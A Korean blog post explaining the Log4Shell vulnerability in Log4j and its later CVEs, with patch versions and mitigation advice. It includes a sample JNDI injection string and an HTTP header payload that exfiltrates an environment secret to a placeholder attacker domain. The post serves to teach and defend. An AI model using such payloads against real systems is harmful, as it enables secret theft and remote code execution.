Log4j 취약점 Log4Shell과 후속 취약점들...
포스트
취소

Log4j 취약점 Log4Shell과 후속 취약점들...

log4j란

log4j logo

log4j는 자바 기반 애플리케이션에서 사용되는 로깅 라이브러리로 상당수의 자바 기반 오픈소스 또는 상용 애플리케이션에서 log4j를 사용하고 있다.

자바에서 가장 많이 사용되는 로깅 라이브러리이기 때문에 매일매일 우리가 쇼핑몰에 접속하면 우리(클라이언트) IP 주소와 브라우저 useragent가 쇼핑몰 서버 로그에 기록되고, 마인크래프트 서버를 켜면 게임의 모든 진행 상황을 기록해 주고, 당연히 spring boot나 elasticsearch 같은 프레임워크에도 딸려온다. 애플 아이클라우드, 스팀, 트위터 등 글로벌 테크 기업들의 서버도 스프링을 사용하기 때문에 log4j도 사용한다.

log4j 취약점이 처음 알려진 것은 마인크래프트에서였다. 마인크래프트 이용자들 사이에서 채팅을 통해서 친구의 웹 브라우저에 원하는 사이트를 띄울 수 있는 방법이 공유되기 시작했다. ${jndi:ldap://youareanidiot.com} 이런 식으로 하면 뒤에 적힌 사이트가 친구 화면에 띄워지는 것이다.

이것이 친구들을 놀래키거나 골탕먹이는 정도에서 끝났다면 다행이지만, 이걸 통해서 친구의 컴퓨터를 바이러스에 감염시키거나 개인 정보를 빼올 수도 있으며 심지어는 마인크래프트만의 문제가 아니었다는 것이 금방 밝혀지게 된다.

CVE-2021-44228 log4shell : 기본적인 작동 원리

자바에서는 JNDI(Java Naming and Directory Interface) 라는 디렉토리 구조를 통해 자바 객체 형태의 데이터를 찾을 수 있게 하는 인터페이스가 존재한다. JNDI 하에서 도는 디렉터리 서비스 중에 하나가 LDAP인데, 이를 통해 프로그램 내 어디에서든 주소를 알고 있는 특정한 자바 객체를 검색할 수 있다. 문제는 log4j에 기본 탑재된 lookup 플러그인을 통하여 ${prefix:name} 의 형식으로 자바 객체를 볼 수 있다는 것인데, 이게 외부에서 들어온 값을 로그에 출력할 때도 이스케이프 처리 없이 작동하기 때문에 악의적인 공격자가 일반적으로 서버에서 로그로 찍을 만한 헤더값을 통하여 lookup 문법으로 된 다음과 같은 문자열을 보낸다면,

1
2
3
HTTP/1.1 GET /

user-agent: ${jndi:service://attacker_domain.com/?s=${env:ACCESS_KEY_ID}}

Spring Boot 서버의 application.properties 파일 내의 시크릿 키를 공격자의 서버로 가져올 수 있는 것이다.

공격자가 일반적으로 자주 사용되는 변수명 몇 개로 키값 긁어오기를 시도하면 타겟 서버는 몇 번의 시도 만에 자신의 시크릿 키를 공격자의 서버에게 뱉어낼 것이다. 이렇게 런타임에 올려진 자바 웹 서버의 객체들을 모조리 휘젓고 다닐 수 있는 것은 물론, 쉘 명령어까지 실행 가능한 것으로 드러났다.

추가 취약점들

최초 발견된 취약점은 금방 패치되었으나 (log4j 2.15.0), 이후 몇 개의 취약점이 더 발견되어 패치가 계속 이어지고 있다.

CVE-2021-45046

기존 44228 취약점에 추가로 JNDI를 이용하여 서비스 거부 공격이 가능한 문제이다. 첫 취약점을 해결하기 위해 임시방편으로 JNDI lookup을 localhost로 제한만 해 두어서 남아있던 문제인데 이 취약점을 해결하기 위하여 log4j 2.16.0에서는 JNDI가 기본값으로 비활성화되게 되었다.

CVE-2021-45105

역시 lookup 괄호 안에서 StrSubstitutor를 이용하여 무한히 문자열 대치를 반복하는 서비스 거부 공격 취약점으로, log4j 2.17.0에서 패치되었다.

CVE-2021-4104

앞선 JNDI 취약점은 log4j 2.0에서부터 추가된 JNDI 기능에 의존하므로 그런 기능이 없는 1.x 버전대는 오히려 안전하다고 알려져 있었으나 설정 파일 조작을 통하여 JMSAppender 기능을 활성화시켜 둔 경우 2.x 버전대와 유사하게 취약점 실행이 가능하다는 사실이 새로 밝혀지게 되었다.

현재 전자정부프레임워크 2.x와 같이 log4j 1.x 버전을 사용중인 경우 JMSAppender 기능이 켜져 있는지 확인하고 비활성화해야 하고, log4j 2.x 버전을 사용 중이라면 반드시 최신 버전으로 업데이트하여야 한다.

웹 서버 이외의 영향 사례들

  • 마인크래프트의 사례처럼 log4j를 이용하여 로깅을 하는 일부 게임의 경우 개발사에서 적용하는 패치가 나오면 빨리 적용해야 한다.
  • 공격자가 이번 취약점을 통해 서버 접속 시 악의적인 사이트로 연결되도록 바꾸어 놓는다면 사이트 방문자들에게 다른 바이러스를 퍼뜨릴 수도 있다. 당분간 오래된 공공기관 사이트 같은 데 들어갈 때는 주의해야 할 것 같다.
  • 자바를 기반으로 돌아가는 안드로이드 폰은 자체적인 로깅 시스템을 사용하므로 본 취약점에 영향을 받지 않는다.

이번 사건으로 인해 대두된 오픈소스 생태계의 과제

log4j는 이번 사건 전까지 그 쓰임새에 비해 별로 잘 알려지지 않았던 오픈소스 프로젝트로, 애플, 구글, 아마존을 움직이는 이 고마운 라이브러리가 고작 자원봉사자 몇 명에 의해서 힘들게 관리되고 있었다.

대가 없이 공개한 오픈소스를 사용하며 수조의 이득을 올린 테크 기업들이 오픈소스에 인적, 금전적 지원을 돌려주는 데에는 인색한 현실이 이러한 대형 보안 사고를 만들었다는 분석도 있다.

This post is licensed under CC BY 4.0 by the author.

Java 17의 변경점

개발자 취업 도전기 - 3. 새로운 도전

Comments powered by Disqus.